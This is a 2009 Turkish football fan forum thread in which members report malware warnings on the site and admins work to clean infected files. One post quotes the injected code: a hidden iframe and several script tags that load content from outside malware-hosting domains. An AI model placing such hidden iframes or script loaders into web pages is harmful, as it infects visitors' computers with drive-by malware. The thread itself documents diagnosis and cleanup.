KRALKARTAL.COM

Kral Kartal Yönetim => Soru - İstek - Öneri => Konuyu başlatan: IL Capitano - Haziran 09, 2009, 14:17:17

Başlık: Virus
Gönderen: IL Capitano - Haziran 09, 2009, 14:17:17
Admin arkadaslar,

Evden veya isyerinden ben www.kralkartal.com/forum (http://www.kralkartal.com/forum) adli forumun adresi girdigim anda arka arkaya virusler geliyor, tabii anti-virus programi oldugu icin bloke ediliyor , bende baskasinada bu oluyor mu?

simdi girdigimde gelen  virusler 2 kere "bloodhound" , 2 kere "trojan horse"
Başlık: Ynt: Virus
Gönderen: ilhan mansız_melis - Haziran 09, 2009, 14:25:14
Ben de öyle bir sorun olmuyor abi
Başlık: Ynt: Virus
Gönderen: [KralKartal] - Haziran 09, 2009, 14:27:09
Anlamadim bende.... ama olabilirde...

bakmak lazim...Ahmet abide bu sekilde sikayette bulunmustu..
ondada baska virus veriyormus...
Başlık: Ynt: Virus
Gönderen: IL Capitano - Haziran 09, 2009, 14:43:42
Foruma giris yapmadan sadece sayfayi acmam bile yeterli oluyor, aninda antivirus programi aciliyor ve ne biliyim bilgisayarin trojan tarafindan "attack" oldu filan yaziyor, isyerindede ayni olay olunca bir baslik acayim dedim.
Başlık: Ynt: Virus
Gönderen: erdibatmaz - Haziran 09, 2009, 14:49:40
bende de oluyor...
Başlık: Ynt: Virus
Gönderen: Batuhan - Haziran 09, 2009, 14:52:18
bende de başladı

bende avira kurulu,chartse.cn/s/pdf.php bu adresten virüs geliyor,sanırım kralkartal üzerinden çünkü kralkartala tıkladığımda çıkıyor bu
Başlık: Ynt: Virus
Gönderen: Bircan* - Haziran 09, 2009, 15:04:56
bende yok öyle bi sorun .s
Başlık: Ynt: Virus
Gönderen: Simurg - Haziran 09, 2009, 15:09:13
aynı sorun bende de var :)
Başlık: Ynt: Virus
Gönderen: Cem Goren - Haziran 09, 2009, 16:26:01
bendede oldu bugun ılk defa
Başlık: Ynt: Virus
Gönderen: carsi52 - Haziran 09, 2009, 16:39:32
2 günden beri bendede oluyor ama bende neden oluyo diye soruyodum şimdi ortaya çıktı :D
Başlık: Ynt: Virus
Gönderen: Bircan* - Haziran 09, 2009, 16:43:36
bnde niye olmuyor :D :D
Başlık: Ynt: Virus
Gönderen: ilhan mansız_melis - Haziran 09, 2009, 16:49:29
olursa napıcaz peki biri onu da yazsın :D
Başlık: Ynt: Virus
Gönderen: saldır beşiktaş - Haziran 09, 2009, 17:05:23
Böyle bir sorun değilde alıntı yapamıyorum ben alıntı bölümüne tıkladıktan sonra yükleniyor diyor öyle kalıyor.
Başlık: Ynt: Virus
Gönderen: Bircan* - Haziran 09, 2009, 17:07:55
aynı sorun bende de var saldır beşiktaş
Başlık: Ynt: Virus
Gönderen: carsi52 - Haziran 09, 2009, 17:22:49
Evet o sorun bendede var ;D

Yeşil renkkk Yükleniyor...
Başlık: Ynt: Virus
Gönderen: keskinli - Haziran 09, 2009, 17:33:02
EXP/Pidief.azc
TR/BurnInHell.I' [trojan]
bugün gelenler bunlar,dün daha baska bi virüs gelmisti
ayyrica bilgisayarimin düsmesine sebep olan svchost diye baska bi virüsde var
her türlü aramayi yaptirdim,bulduklarim sildirdim ama her seferinde yeniden geliyor
firefoxla girince siteye girmeden saldiri var diye uyariyor firefox
forumun 1 hafta öncesine cevirsek belki bu sorun kalkar,sanirim son yüklemelrden biri virüslü
Başlık: Ynt: Virus
Gönderen: +18 ! - Haziran 09, 2009, 17:41:53
evet aynı sorun bendede oLuyor ve aLıntı yapamıyorum
Başlık: Ynt: Virus
Gönderen: M34 - Haziran 11, 2009, 18:21:29
bendede ayni sorun var. firefox ve google chrome "girmeyiniz metin bey, tehlike var" diyor. internet explorer birsey vermiyor.

Hata bu:

Bei 9 Seite(n) von insgesamt 11 Seiten dieser Website, die wir in den letzten 90 Tagen getestet haben, wurde festgestellt, dass Malware (Schadsoftware) ohne Einwilligung des Nutzers heruntergeladen und installiert wurde. Der letzte Besuch von Google auf dieser Website war am 2009-06-11 und verdächtiger Content wurde auf dieser Website zuletzt am 2009-06-11 gefunden.

Die Malware wird in 2 Domain(s) gehostet, darunter thelotmachine.cn/, shopmovieproduction.cn/.

This site was hosted on 1 network(s) including AS29671 (SERVAGE).

Yani problem sudur ki, bu site thelotmachine.cn sitesinden bazi seyler bulunduruyor. onlarin silinmesi gerekiyor sanirim.
Başlık: Ynt: Virus
Gönderen: M34 - Haziran 11, 2009, 18:28:57
arastirdim ... index.php'deki altdaki nasilsa girmis php'ye:

</body></html><iframe src="http://thelotmachine.cn:8080/ts/in.cgi?pepsi49" width=125 height=125 style="visibility: hidden"></iframe><script LANGUAGE="javascript" SRC="http://visionfuture.qc.ca/images/top.js"></script><script LANGUAGE="javascript" SRC="http://visionfuture.qc.ca/images/top.js"></script><script LANGUAGE="javascript" SRC="http://visionfuture.qc.ca/images/top.js"></script><script LANGUAGE="javascript" SRC="http://visionfuture.qc.ca/images/top.js"></script>

bunu mutlaka silin ... ve en iyisi tüm dosyalari buna iliskin arama yaptirin. sonra hata falan kalmaz. su anda bu javascript'in bir tehlikesi oldugunu bilmiyorum. javascript olmasi kötü yanliz. bence biran önce yapilsa iyi olur.
Başlık: Ynt: Virus
Gönderen: M34 - Haziran 11, 2009, 18:35:00
sorun baska sitelerde de varmis. bu öneriliyor:

http://www.r10.net/php/359193-sitenize-bulasan-iframe-virusunun-temizlenmesi-icin-php-script.html (http://www.r10.net/php/359193-sitenize-bulasan-iframe-virusunun-temizlenmesi-icin-php-script.html)

Başlık: Ynt: Virus
Gönderen: NoPasaran - Haziran 11, 2009, 19:29:16
Evimde net yok ben bakamıyorum hiç arkadaşlar..

Ancak bu son bir kaç haftada bir kaç sitede gördüğüm bir hata. Virüs tam denmiyor bunlara ama yinede sorun işte...

Çözümü için evime net alıp geçip bakmam lazım..

Geçiçi bu akşamda uğraşacağım
Başlık: Ynt: Virus
Gönderen: eRe - Haziran 11, 2009, 22:29:07
abi mcafee site advisor sokmuyor beni siteye
ve sitedeykende sureklı truva atı gırıyor
haberın olsun abı
msnde yazmak ısterdım ama bulamadım senı msnde
Başlık: Ynt: Virus
Gönderen: [KralKartal] - Haziran 12, 2009, 16:54:13
virus bende daha gelmiyor, dun vardi bugun sorun cikmadi?
Başlık: Ynt: Virus
Gönderen: Bircan* - Haziran 12, 2009, 17:08:07
artık alıntı yapabiliyorummmm ! :D :D
Başlık: Ynt: Virus
Gönderen: NoPasaran - Haziran 12, 2009, 17:10:43
Dün epey bir temizleme yaptım ancak halen devam ediyor bazı dosyalarımızda..

Bugünde devam edeceğim
Başlık: Ynt: Virus
Gönderen: eRe - Haziran 12, 2009, 17:17:53
abı ben hala gıremıyorum mcafee acıkken :(
Başlık: Ynt: Virus
Gönderen: NoPasaran - Haziran 12, 2009, 17:21:57
Yarın dene erdem bugün kontrol yapacağım ben..
Başlık: Ynt: Virus
Gönderen: Bircan* - Haziran 12, 2009, 17:24:02
Alıntı yapılan: NoPasarAn! - Haziran 12, 2009, 17:10:43
Dün epey bir temizleme yaptım ancak halen devam ediyor bazı dosyalarımızda..

Bugünde devam edeceğim
teşekkürLerr...
Başlık: Ynt: Virus
Gönderen: eebjk - Haziran 12, 2009, 17:36:05
abi alıntı yapamıyorum ya sebebi nedir acaba?
Başlık: Ynt: Virus
Gönderen: NoPasaran - Haziran 12, 2009, 21:12:58
Konu ile ilgili olarak yaklaşık 3 saattir uğraşıyorum arkadaşlar..

Sorun yukarda M34 arkadaşımızında söylediği gibi dosyalara gelen bir virüs çeşidi ve hızla yayılıyor site içerisinde..

O dosyaları siliyoruz şimdi BAZI PROGRAMLAR ARACILIĞI İLE..

Kralkartal.com adresinde toplam 86 dosyaya gizlenmiş kod bulduk. Bütün sunucunun taranması için bu gece komple indirme yapacağım sitelerimizi..Şu an %80 ini indirdim..En geç pazara umarım sorun çözülür..

M34 arkadaşımızında katkıları oldu teşekkür ederim. Ondan yine teknik takviye isteyebiliriz..

Teşekkürler.
Başlık: Ynt: Virus
Gönderen: eebjk - Haziran 12, 2009, 21:31:13
alıntı yapabiliyorum artık çalışmalar için teşekkürler...
Başlık: Ynt: Virus
Gönderen: +18 ! - Haziran 12, 2009, 21:43:54
ilgi için teşekkürler abi
Başlık: Ynt: Virus
Gönderen: IL Capitano - Haziran 13, 2009, 11:04:37
Pazara kadar biterdiyorsun yani , yoruyoruz seni Volkan.
maalesef bana hala virus uyarisi geliyor, ayrica alintida yapamiyorum.
Başlık: Ynt: Virus
Gönderen: NoPasaran - Haziran 13, 2009, 12:57:54
Sorun sadece forumda olsa sorun değil..Bütün dosyaları inceliyoruz ve bu zor..Şu an itibari ile forum dosyalarının yenisini attık..

Diğerlerinden bulaşmaması için uğraşıyoruz..
Başlık: Ynt: Virus
Gönderen: [KralKartal] - Haziran 14, 2009, 00:18:11
Google Virus uyarisi veriyor...Spyware fln olaylari..

Serverden kaynaklanan birsey, bazi dosyalara Attack yapilmis sanirim,
bunuda bir takim siteler yayiyor, yuzlerce site bu olaydan NASIBINI almis..

Biz yaymiyoruz tabi bu virusu..Yani bunda rahat olabilirsiniz.. Google oyle diyor ,
ama cok kotu, simdi googledan sitemize girmek isteyene google engel koyuyor,
ziyaretci sayisi dustu baya...

cozeriz umarim
Başlık: Ynt: Virus
Gönderen: NoPasaran - Haziran 15, 2009, 13:03:57
kralkartal.com,kralkartal.net,herseyimsin.net,Halildogan.net,mdcpresents.com adresindeki tum dosyalar yenilendi.tekrar ayni uyariyi aliyorsaniz lutfen bildirin.
Başlık: Ynt: Virus
Gönderen: Batuhan - Haziran 21, 2009, 12:35:22
abi aynı uyarıyı bugün alıyorum
html virüsü olarak yazıyor bende
Başlık: Ynt: Virus
Gönderen: carsi52 - Haziran 21, 2009, 13:53:59
Bende alıyorum deli oldum ya.
Bi sayfaya tıkladığımda çıkıyo karşıma.
Başlık: Ynt: Virus
Gönderen: NoPasaran - Haziran 21, 2009, 14:40:30
Benim programlar bulmuyor ya

Arkadaştayım şimdi arkadaşlar..Kökten çözüm yapacağı  malesef serverimizin 4-5 kişi tarafından kullanılmasından kaynaklanıyor..

Bu kişileri yok etmek lazım sanırım :)

Başlık: Ynt: Virus
Gönderen: carsi52 - Haziran 21, 2009, 18:09:12
Deli oldum ya bi konuya tıkladığım zaman bi yere girdiğim zaman çıkıyor.
Çok sinir bozucu ;D
Başlık: Ynt: Virus
Gönderen: Batuhan - Haziran 21, 2009, 21:32:23
temamız uçmuş
Başlık: Ynt: Virus
Gönderen: NoPasaran - Haziran 21, 2009, 21:37:10
dosyaları yeniledim ama sadece forumun..

Durum şöyle arkadaşlar ben net konuşayım..

Bizim kralkartalın bilgilerine İhsan Ben Halil ve Duru şu an için ulaşabiliyor..

Duru tabi sadece mdcpresents onuda belirteyim..

Bu 4 kişinin bilgisayarları tertemiz olması lazım. Güncel virüs prograömlarını kullanması lazım vs vs vs

Geçen hafta bütün dosyaları temizledim ama yine bu 4 kişiden birisinden virüs girdi trojen daha doğrusu ve yine inanılmaz çoğalarak yayıldı..

Şu an sadece forum dosyalarını yeniledim.Diğer dosyalar iniyor bilmem ne kadar sürer..O sürede tekrar yayılırmı bilmiyorum :D

Aslında 1 kaç gün kapatıp tüm sistemi denetlemek lazım ama neyse :)


Tema şu bu bunlar 10 dk lık iş..Çok takılmayın..
Başlık: Ynt: Virus
Gönderen: Simurg - Haziran 21, 2009, 22:07:29
Halkın admininine bir rep :D
Başlık: Ynt: Virus
Gönderen: [KralKartal] - Haziran 21, 2009, 22:58:10
Halledecez bir sekilde...Tum site dosyalarini indirip forum haricinde yenilemek lazim,
bunuda yapmam icin zaman lazim..Buda bu ara yok maalesef, o nedenle
siteye guncelleme yapmiyorum, virus benden giriyorsa girmesin diye ama yine yayiliyor..

bu ara bu sekilde idare edersek konuya 2 hafta icinde tam cozum bulacagiz
Başlık: Ynt: Virus
Gönderen: carsi52 - Haziran 21, 2009, 22:59:35
Bu temaya eskiden alışığız zaten.
Tema yönünden sorun olcağını düşünmüyorum.
Başlık: Ynt: Virus
Gönderen: NoPasaran - Haziran 21, 2009, 23:01:40
tema sorun değil arkadaşlar..

Diğer tema dosyalarını temizledim şu an yüklsem kullanırız :)

inanazmsınız ama tam 790 tane trojen çıktı şu ana kadar..

google reklamına bile girmiş yahu :D
Başlık: Ynt: Virus
Gönderen: [KralKartal] - Haziran 21, 2009, 23:02:04
temizlesede volkan yayiliyor virus bir sekilde...

bula bula bizi mi buldu, saldiriya mi ugruyoruz anlamiyorum !
Başlık: Ynt: Virus
Gönderen: NoPasaran - Haziran 21, 2009, 23:07:48
Yayılması şöyle :D

Bir tane bile kalsa bir daha yayılıyor :D

Geniş çaplı araştırma yapmak lazım..Forumu başka hostta kontrol etmek lazım..Sorun olsada kısa sürede çözeriz :D
Başlık: Ynt: Virus
Gönderen: IL Capitano - Haziran 25, 2009, 16:29:02
dun aksam evden giremedim foruma , dondu kaldi bilgisayar, nortonda virus var mesaji  uste uste patlamaya pasladi..ayni anda baktigim baska sayfalarda dondu..
is yerinden sorunsuz giriyorum , bunun belli bir sebebi var mi?
Başlık: Ynt: Virus
Gönderen: NoPasaran - Haziran 25, 2009, 22:33:48
İsveçkartalı,

Bende hiç bir yerde sorun olmuyor her defasında. Sadece bir kere yakaladı kaspersky onu karantinaya aldı ve sonra hiç hissetmedim..

Virüsten kurtulamk için forumu ayrı bir yere taşımak laazım bence. Tek forum olsa 10 dk da çözülür bu konu ama FTP deki her site bizi etkiliyor..
Başlık: Ynt: Virus
Gönderen: melankolizm - Haziran 26, 2009, 00:55:52
bende firefoxtan giremiyorum,engelleniyor ve bu sayfalar çıkıyor;

[IMG]http://img30.imageshack.us/img30/9742/adszaiv.th.png[/img] (http://img30.imageshack.us/i/adszaiv.png/)[IMG]http://img36.imageshack.us/img36/3065/wadsz.th.png[/img] (http://img36.imageshack.us/i/wadsz.png/)

belki benim bilgisayarda problem ama daha öncede oldu bu engelleme sonra kendiliğinden kalktı. şimdi yine giremiyorum firefoxtan ama ie'den rahatlıkla girebiliyorum
Başlık: Ynt: Virus
Gönderen: IL Capitano - Haziran 26, 2009, 11:04:55
su anda evden rahat bir sekilde girdim
Başlık: Ynt: Virus
Gönderen: [KralKartal] - Haziran 27, 2009, 13:35:02
Bugun baktim, yine tum dosyalara, tum html   php gibi sayfalarimiza,
adamlar IFRAME eklemis, haliyle virus niteliginde algilaniyor,
PCleriniz kilitlenebilir...

Sildim bir cok dosyalarimizi,volkanda her gun siliyor fakat o kadar heryere bulasmis ki,yuzlerce sayfayi tek tek incelemek lazim, bu da imkansiz...

Kralkartal.com ve tum sitelerimize bulasmis bu virus..yada hack , tam algilayamiyorum ne oldugunu...

Bize baya zarar verecek, toptan bir temizlik lazim..
maalesef bu arada FORUMU baska servere tasiyacagiz..
tabi isimiz devam edecek, sizin icin sorun olmayacak..


Bir caresine bakacagiz..Bizde siteyle bu arada ilgileniriz..

Biz elimizden geleni yapiyoruzda Virus bizden akilli ve hizli..
kendini cok cabuk yeniliyor ve yayiyor